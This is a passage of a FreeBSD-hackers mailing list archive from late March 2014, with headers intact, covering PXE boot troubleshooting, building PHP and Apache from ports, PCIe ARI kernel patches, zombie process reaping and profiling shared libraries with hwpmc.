(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Mon, 31 Mar 2014 11:36:29 -0500 Received: from THEMADHATTER (10.242.181.54) by smarthost.fisglobal.com (10.132.206.191) with Microsoft SMTP Server id 14.3.174.1; Mon, 31 Mar 2014 11:36:28 -0500 From: Sender: Devin Teske To: , "'amine tay'" References: <1396270576.1346.3.camel@powernoodle.corp.yahoo.com> In-Reply-To: <1396270576.1346.3.camel@powernoodle.corp.yahoo.com> Subject: RE: Pxeboot stops Date: Mon, 31 Mar 2014 09:36:19 -0700 Message-ID: <067401cf4cff$59409590$0bc1c0b0$@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQFFQetMHgVbsrjYJ46hzAOxIQqqTgG2n1zknAHFs+A= Content-Language: en-us X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87, 1.0.14, 0.0.0000 definitions=2014-03-31_02:2014-03-31,2014-03-31,1970-01-01 signatures=0 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:36:31 -0000 > -----Original Message----- > From: Sean Bruno [mailto:sbruno@ignoranthack.me] > Sent: Monday, March 31, 2014 5:56 AM > To: amine tay > Cc: freebsd-hackers@freebsd.org > Subject: Re: Pxeboot stops > > On Mon, 2014-03-31 at 14:08 +0200, amine tay wrote: > > Hi every one, > > When i'm trying to pxe boot FreeBSD 9.1, the pxeboot display the lines > bellow : > > Building the boot loader arguments > > Looking up /BOOT/LOADER... Found > > Relocating the loader and the BTX > > Starting the BTX loader > > > > BTX loader 1.00 BTX version is 1.02 > > Consoles: internal video/keyboard > > BIOS CD is cd0 > > BIOS drive C: is disk0 > > BIOS drive D: is disk1 > > BIOS 636kB/261056kB available memory > > > > FreeBSD/i386 bootstrap loader, Revision 1.1 > > > > But it stops here and I'm not getting the : > > > > pxe open : server addr > > > > or > > Loading /boot/defaults/loader.conf > > /boot/kernel/kernel text=0x64daa0 data=0xa4e80+0xa9e40 > > syms=[0x4+0x6cac0+0x4+0x88e9d] \ > > It looks like its switching consoles on you. Is this the video or serial console > you have captured from? > > If its the serial console, then I suspect you need to setup the loader.conf with > a comconsole entry. > E.g., console="vidconsole,comconsole" NB: Enables both video and serial instead of one or the other. -- Devin _____________ The information contained in this message is proprietary and/or confidential. If you are not the intended recipient, please: (i) delete the message and all copies; (ii) do not disclose, distribute or use the message in any manner; and (iii) notify the sender immediately. In addition, please be aware that any message addressed to our domain is subject to archiving and review by persons other than the intended recipient. Thank you. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:45:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 35799170 for ; Mon, 31 Mar 2014 16:45:23 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D73CB8D5 for ; Mon, 31 Mar 2014 16:45:21 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s2VGm6GR002827; Mon, 31 Mar 2014 09:48:12 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s2VGm1xZ002824; Mon, 31 Mar 2014 09:48:01 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Mon, 31 Mar 2014 09:48:01 -0700 (PDT) Message-ID: <6a3e8b498d6a2538865b43a1697a44b9.authenticated@ultimatedns.net> In-Reply-To: References: <20140401001447.1c6013d4@X220.alogt.com> Date: Mon, 31 Mar 2014 09:48:01 -0700 (PDT) Subject: Re: despairing with apache httpd + php From: "Chris H" To: "Aled Morris" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:45:23 -0000 > On 31 March 2014 17:14, Erich Dollansky wrote: > >> This is how I have done it. Just get the source, compile and install. >> But I do not think that it is important to do it like this. You also >> can do a make install and get it all done in a single step. > > > Compiling php-5.5.10 from source with: > > $ sh configure --with-mysql --with-apxs2=/usr/local/apache2/bin/apxs > $ make > > results in a build that can't be installed: > > $ sudo make install > ...blah...blah... > Warning! dlname not found in /usr/local/apache2/modules/libphp5.la. > Assuming installing a .so rather than a libtool archive. > chmod 755 /usr/local/apache2/modules/libphp5.so > chmod: /usr/local/apache2/modules/libphp5.so: No such file or directory > apxs:Error: Command failed with rc=65536 > > very frustrating! Indeed. :) I'm not sure why you're choosing the direction for build install, that you are. But if it were me; I'd # cd /usr/ports/lang/php55 # make config choose the options you wish -- as Apache module for sure # make # make install clean Assuming success... # cd /usr/ports/www/apache # make config You know the drill; choose your favorite options # make # make install clean Now, I might also mention, there's also /usr/ports/lang/php55-extensions. This is a bit of a meta-package that will allow you to pick all your favorite must-have php extensions up front. But it's usually better to simply go to each extension' folder/directory, and make(1), and configure them individually. I only mention this, as you indicated you were looking to install mediawiki, which, I believe needs (at least) XML. Best wishes, and hope this helps. :) --Chris > > Aled > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 16:42:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4BF2BFE0 for ; Mon, 31 Mar 2014 16:42:51 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id EEAB08BE for ; Mon, 31 Mar 2014 16:42:50 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s2VGjXuE002696; Mon, 31 Mar 2014 09:45:39 -0700 (PDT) (envelope-from chrish@UltimateDNS.NET) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s2VGjP6c002692; Mon, 31 Mar 2014 09:45:25 -0700 (PDT) (envelope-from chrish@UltimateDNS.NET) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Mon, 31 Mar 2014 09:45:26 -0700 (PDT) Message-ID: In-Reply-To: References: <20140401001447.1c6013d4@X220.alogt.com> Date: Mon, 31 Mar 2014 09:45:26 -0700 (PDT) Subject: Re: despairing with apache httpd + php From: chrish@UltimateDNS.NET To: "Aled Morris" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Mailman-Approved-At: Mon, 31 Mar 2014 16:49:16 +0000 Cc: freebsd-hackers@freebsd.org, Erich Dollansky X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 16:42:51 -0000 > On 31 March 2014 17:14, Erich Dollansky wrote: > >> This is how I have done it. Just get the source, compile and install. >> But I do not think that it is important to do it like this. You also >> can do a make install and get it all done in a single step. > > > Compiling php-5.5.10 from source with: > > $ sh configure --with-mysql --with-apxs2=/usr/local/apache2/bin/apxs > $ make > > results in a build that can't be installed: > > $ sudo make install > ...blah...blah... > Warning! dlname not found in /usr/local/apache2/modules/libphp5.la. > Assuming installing a .so rather than a libtool archive. > chmod 755 /usr/local/apache2/modules/libphp5.so > chmod: /usr/local/apache2/modules/libphp5.so: No such file or directory > apxs:Error: Command failed with rc=65536 > > very frustrating! Indeed. :) I'm not sure why you're choosing the direction for build install, that you are. But if it were me; I'd # cd /usr/ports/lang/php55 # make config choose the options you wish -- as Apache module for sure # make # make install clean Assuming success... # cd /usr/ports/www/apache # make config You know the drill; choose your favorite options # make # make install clean Now, I might also mention, there's also /usr/ports/lang/php55-extensions. This is a bit of a meta-package that will allow you to pick all your favorite must-have php extensions up front. But it's usually better to simply go to each extension' folder/directory, and make(1), and configure them individually. I only mention this, as you indicated you were looking to install mediawiki, which, I believe needs (at least) XML. Best wishes, and hope this helps. :) --Chris > > Aled > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 18:11:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 833CB956 for ; Mon, 31 Mar 2014 18:11:12 +0000 (UTC) Received: from smtp.infracaninophile.co.uk (smtp6.infracaninophile.co.uk [IPv6:2001:8b0:151:1:3cd3:cd67:fafa:3d78]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "smtp.infracaninophile.co.uk", Issuer "ca.infracaninophile.co.uk" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 2EB64179 for ; Mon, 31 Mar 2014 18:11:12 +0000 (UTC) Received: from seedling.black-earth.co.uk (seedling.black-earth.co.uk [81.2.117.99]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.8/8.14.8) with ESMTP id s2VIAv9F037646 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Mon, 31 Mar 2014 19:10:58 +0100 (BST) (envelope-from matthew@FreeBSD.org) DKIM-Filter: OpenDKIM Filter v2.8.3 smtp.infracaninophile.co.uk s2VIAv9F037646 Authentication-Results: smtp.infracaninophile.co.uk/s2VIAv9F037646; dkim=none reason="no signature"; dkim-adsp=none Message-ID: <5339AFA8.6030005@FreeBSD.org> Date: Mon, 31 Mar 2014 19:10:48 +0100 From: Matthew Seaman User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: despairing with apache httpd + php References: <8b74e1be5e620292f9fc005e137dae8b.authenticated@ultimatedns.net> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha512; protocol="application/pgp-signature"; boundary="nVfWjg240vEtR3WQP07nxMH5d2JCC2ppD" X-Virus-Scanned: clamav-milter 0.98.1 at lucid-nonsense.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-2.9 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00 autolearn=ham autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on lucid-nonsense.infracaninophile.co.uk X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 18:11:12 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --nVfWjg240vEtR3WQP07nxMH5d2JCC2ppD Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 31/03/2014 17:12, Aled Morris wrote: > Good find! >=20 > But... >=20 > $ sudo pkg install mod_php55 > Updating repository catalogue > pkg: No packages matching 'mod_php55' available in the repositories >=20 > $ cd /usr/ports/www/mod_php55 > -bash: cd: /usr/ports/www/mod_php55: No such file or directory >=20 >=20 > This is how my whole day has been so far :-) It's too soon for the new mod_php5 and mod_php55 packages to have been built for the FreeBSD.org pkgrepo. Package builds start on a Wednesday and take a couple of days. If you want a setup that will work with currently available pre-built packages then try nginx + php-fpm + your php app of choice. There are plenty of howto-s on the web, like this one: http://blog.bigdinosaur.org/mediawiki-on-nginx/ Mostly they seem to be Ubuntu flavoured, but adapting them for FreeBSD is easy enough. Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. PGP: http://www.infracaninophile.co.uk/pgpkey --nVfWjg240vEtR3WQP07nxMH5d2JCC2ppD Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.20 (Darwin) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQJ8BAEBCgBmBQJTOa+xXxSAAAAAAC4AKGlzc3Vlci1mcHJAbm90YXRpb25zLm9w ZW5wZ3AuZmlmdGhob3JzZW1hbi5uZXQ2NTNBNjhCOTEzQTRFNkNGM0UxRTEzMjZC QjIzQUY1MThFMUE0MDEzAAoJELsjr1GOGkAT4lsP/jkhSYmQeT/cGokUNjiNIXNG Gj76OWq3C7be6Pg/WLo3VESrK7GTF0PdlaM1TqzxOQz4JcxOgKvPu1AK4RL/Yz1B 0pkY1+goiCseJupqpUMjnugCOgqsx9tcJaE6xMZOhZIkbqfqvgBwH7QEx/gIk3Va 52qGpMaWufg3Ia+mzvKwKJWlC0s3YIgX4xsz3l7rCmF/Va/RCjiHm9fkmKyJ55bd CaZaQEIFi46geKu2HwvvrUKSOt9bEvmT8TT8CogF8Ch2UK9bgGqS5XNksg1A1XaU R1Y1CJDnOrr6on81iqjUKBplxdidaemDVTkkzT95VR3UM7xHEMJy4+Ss8w3A6Q34 z1wvQp4VO/W+TfpiBIEJpVcelNEuPOnRGb6fjrAsnKk/uwHZ1II0rKl4+hBuoueZ iNebPrZVIWC86MuCANqoAR7ufBXVVMpVVMgz4IjJocAtLZGGr69GUxbO5CWbVsvr V7bMdw/wUl23Hhwl+OP9q83lVTsazHjKMnLEQ8jFkX9PmfhnGLNYG5BpJKF4vT/Q mmQ+PTFHWB0Bj7x3dr0qJnqZGTbqR3TwKiKE9z0zUUHUljepo6qJ74DQjCRHZEKk NZ9UzSMtT9sTxuIVlN7GIqDVJFEJZim9ArPe1xRJ9XjIYk2tstxphAK/rhPsdauv 9DaVmXE97qgjZCH7LU+F =skCl -----END PGP SIGNATURE----- --nVfWjg240vEtR3WQP07nxMH5d2JCC2ppD-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 18:28:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3E96DE0A for ; Mon, 31 Mar 2014 18:28:16 +0000 (UTC) Received: from mail-oa0-x231.google.com (mail-oa0-x231.google.com [IPv6:2607:f8b0:4003:c02::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0247B2B2 for ; Mon, 31 Mar 2014 18:28:15 +0000 (UTC) Received: by mail-oa0-f49.google.com with SMTP id h16so9745975oag.22 for ; Mon, 31 Mar 2014 11:28:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:cc :content-type; bh=l5ed927KZEUC501cyCYA4BmGvewtm+rzmA2g6LWY+gM=; b=oH1+eGN3xg/drivCPzaG/C3WswdukuR1C683+T7rkgylp+GqD1TlBtF8heO+VU/KWv jILCIEPc+yRZXBYE1gN3vYj9hdkiX1tTXcrl0DDavCpsYH1kb22W4Ow/1qEgEBd1yFSs UZGGG9tOl190Hbsv/L6Wp+mXz2215KqmMaVlB8IryOkJoPNPZpBY1cVAZHECvSrMZ5cq LOQU1E8M7LOnKdc2upognCAOvOb89G7rwpG/NbpoeYSKOtcH3ZpuZqu3PYOi91FktPeO QPfxQ23z1CvJ42UjsDOwbHB1gpUJwFjDaJ3Ggi3TKZ7IkmuB/cHGLQkgmpqQztgxcO7f wvCA== MIME-Version: 1.0 X-Received: by 10.182.166.40 with SMTP id zd8mr23828899obb.25.1396290495289; Mon, 31 Mar 2014 11:28:15 -0700 (PDT) Received: by 10.76.7.199 with HTTP; Mon, 31 Mar 2014 11:28:15 -0700 (PDT) In-Reply-To: References: <20140316141216.GA21331@kib.kiev.ua> <20140319140236.GM21331@kib.kiev.ua> <20140325211355.GG21331@kib.kiev.ua> <20140328133529.GV21331@kib.kiev.ua> <20140330142918.GF21331@kib.kiev.ua> Date: Mon, 31 Mar 2014 14:28:15 -0400 Message-ID: Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Ryan Stone Cc: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 18:28:16 -0000 make universe turned up the fact that pcib_if.m is compiled into the kernel even if device pci is removed from the kernel config. This means that pcib_if.m cannot reference default methods that I implemented in the pci driver. I have fixed this by moving the default methods into a new .c file that will always be compiled into the kernel. These patches have been updated: http://people.freebsd.org/~rstone/patches/ari/0001-Add-a-method-to-get-the-PCI-RID-for-a-device.patch http://people.freebsd.org/~rstone/patches/ari/0004-Add-support-for-PCIe-ARI.patch Also, I made a minor change to the DMAR patch to correct a style(9) issue that crept in (a line went over 80 characters in intel_ctx.c). From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 20:04:04 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2B1B4654; Mon, 31 Mar 2014 20:04:04 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id ED10FE64; Mon, 31 Mar 2014 20:04:03 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s2VK6mu1011020; Mon, 31 Mar 2014 13:06:54 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s2VK6hjN011019; Mon, 31 Mar 2014 13:06:43 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Mon, 31 Mar 2014 13:06:43 -0700 (PDT) Message-ID: <26dbb84bafaf0114cb75c3fbe060d412.authenticated@ultimatedns.net> Date: Mon, 31 Mar 2014 13:06:43 -0700 (PDT) Subject: Process handlers, and zombies, or preap(1) From: "Chris H" To: "freebsd-hackers" , "freebsd-stable" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 20:04:04 -0000 Greetings, I'm evaluating/experimenting on releng_9. The install, and now custom kernel have noting exotic, or anything out of the ordinary. top(1), and ps(1) indicate a (1) zombie, or process. On my releng_8 systems, when I occasionally encounter one of these, they soon disappear (are reaped) from the process table. While I have not investigated this far enough on both versions to determine whether the parent process reaped the child on the releng_8 systems, and the parent on releng_9 is simply an irresponsible parent, eg; a different parent. Before I do, I was wondering if there was any specific difference between the 2 versions that might cause better handling of such situations. While I recognize that resource starvation is HIGHLY unlikely, except by perhaps a rouge parent spawning multitudes of zombies. I thought it might be useful for "housekeeping" to 1) provide a process table housekeeper (zombie reaper), or 2) create a system utility/command like SunOS/OpenSolaris has; preap(1). http://www.freebsd.org/cgi/man.cgi?query=preap&manpath=SunOS+5.10 Thank you for your time, and consideration. --Chris From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 02:00:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8F45F496 for ; Tue, 1 Apr 2014 02:00:19 +0000 (UTC) Received: from cain.gsoft.com.au (cain.gsoft.com.au [203.31.81.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E656E21B for ; Tue, 1 Apr 2014 02:00:18 +0000 (UTC) Received: from ur.gsoft.com.au (Ur.gsoft.com.au [203.31.81.34]) (authenticated bits=0) by cain.gsoft.com.au (8.14.4/8.14.3) with ESMTP id s311xhLZ058662 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Tue, 1 Apr 2014 12:29:57 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Subject: Re: Profiling shared libraries Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Content-Type: multipart/signed; boundary="Apple-Mail=_A76B0579-FC20-4FB9-B170-A3DAF3B83C13"; protocol="application/pgp-signature"; micalg=pgp-sha1 From: "Daniel O'Connor" In-Reply-To: Date: Tue, 1 Apr 2014 12:29:56 +1030 Message-Id: References: <363F98EE-AF54-475D-AF4A-F99BD3D3CCF9@gsoft.com.au> To: Ryan Stone X-Mailer: Apple Mail (2.1874) X-Spam-Score: -3.551 () ALL_TRUSTED,BAYES_00,RP_MATCHES_RCVD X-Scanned-By: MIMEDefang 2.67 on 203.31.81.10 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 02:00:19 -0000 --Apple-Mail=_A76B0579-FC20-4FB9-B170-A3DAF3B83C13 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=iso-8859-1 On 31 Mar 2014, at 0:37, Ryan Stone wrote: > On Sat, Mar 29, 2014 at 10:43 PM, Daniel O'Connor = wrote: >> Hi, >> I have a shared library which is loaded into a Tcl interpreter and = also loads submodules and I would like to profile it. Unfortunately it = seems gprof does not grok shared libraries. I did some googling and it = look like Linux has sprof for this but I can't see a port for FreeBSD. >>=20 >> Does anyone have any other ideas? >> I have looked at DTrace but it's a bit fiddly to get working with my = systems in the field so I'd prefer a pure userland solution if possible. >>=20 >> Thanks >=20 > hwpmc can do it: >=20 > kldload hwpmc > pmcstat -S unhalted-cycles -O /tmp/samples.out sleep 10 > pmcstat -R /tmp/samples.out -G /tmp/callgraph.txt Great, thanks! -- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum GPG Fingerprint - 5596 B766 97C0 0E94 4347 295E E593 DC20 7B3F CE8C --Apple-Mail=_A76B0579-FC20-4FB9-B170-A3DAF3B83C13 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iD8DBQFTOh2c5ZPcIHs/zowRAjBeAKCIApGXtDcxGCFnZyaHOi3Q2tRdMQCfTkSe VFv7TfTUvJ9sUWw5xHAHXZg= =++Dn -----END PGP SIGNATURE----- --Apple-Mail=_A76B0579-FC20-4FB9-B170-A3DAF3B83C13-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 05:47:16 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D9498245 for ; Tue, 1 Apr 2014 05:47:16 +0000 (UTC) Received: from mail-qa0-x232.google.com (mail-qa0-x232.google.com [IPv6:2607:f8b0:400d:c00::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 94C91F65 for ; Tue, 1 Apr 2014 05:47:16 +0000 (UTC) Received: by mail-qa0-f50.google.com with SMTP id o15so9210547qap.9 for ; Mon, 31 Mar 2014 22:47:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:from:date:message-id:subject:to:content-type :content-transfer-encoding; bh=dfQb8old8D4xyTlX0L15CGf1sS2aFeaArma9A46r60M=; b=fPUlBZ6JfLki0L1QwwFohZUr8Ye0P6CUCFw3Tos8TGyRC4H27X4i3OmuwH1s9jUTKK 6PRIfjzXb8BAva4yv79BZxoZCOhsxDySa++iTbNRCPQ2uUmgX9Up5Gjus4Q+iVWeRvmI 5zN5WeEeT3rjeJN3X5knfYAG44oyqVM9N0/T8= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:from:date:message-id:subject:to :content-type:content-transfer-encoding; bh=dfQb8old8D4xyTlX0L15CGf1sS2aFeaArma9A46r60M=; b=UdtNdur1LmsTPWXvcvItAULeyI1U1m86285JqMX1CQ7QvuQpj2it2nLL4Squa0u6/x MmWBedRo1/T5IGuU51TPW8Bl6C7K7cA60Un4OSSmz9rwcfhI9lSVDzwJU8pvaX7qkais Zw7iQsANU8NbvQ3s1gsLIS0s/HazA1lXXMSIhZ+wMpMtWQFLNg5mjFnfjJH7gMDEM23e l8Ky9h4jYMlGYO2gVYjwBL20kvdePKuHmM1TlqLIULy91qAUG4evhMsKyJl89COYVd+8 eILd0YAiYXDtOvzi0zUFjEMjqfmjM8+DOeKi5LZJ/gvJ7e6XynKjusz063OBIi4mSb6P sl5Q== X-Gm-Message-State: ALoCoQm4PoKvp544mPp0tJb3jAXIcTIE0CMx3B9TjL8IQut7DjW41nWYjh8qIywMgEGwC8kCKd4d X-Received: by 10.224.151.130 with SMTP id c2mr12897432qaw.67.1396331235700; Mon, 31 Mar 2014 22:47:15 -0700 (PDT) MIME-Version: 1.0 Received: by 10.96.147.225 with HTTP; Mon, 31 Mar 2014 22:46:45 -0700 (PDT) From: Eitan Adler Date: Mon, 31 Mar 2014 22:46:45 -0700 Message-ID: Subject: Leaving the Desktop Market To: hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 05:47:17 -0000 Hi all, Some of you may have seen my posts entitled "Story of a Laptop User" and "Story of a Desktop User". For those of you who did not, it can be a worthwhile read to see what life is like when using FreeBSD as a desktop. In short, it is an educational experience. While FreeBSD can be coerced to do the right thing, it is rarely there by default and often doesn't work as well as we would expect. The following are issues I haven't brought up in the past: Battery life sucks: it=E2=80=99s almost as if powerd wasn't running. Wind= ows can run for five hours on my laptop while FreeBSD can barely make it two hours. I wonder what the key differences are? Likely it=E2=80=99s tha= t we focus so much on performance that no one considers power. ChromeOS can run for 12 hours on some hardware; why can't we make FreeBSD run for 16? Sound configuration lacks key documentation: how can I automatically change between headphones and external speakers? You can't even do that in middle of a song at all! Trust me that you never want to be staring at an HDA pin configuration. I'll bet you couldn't even get 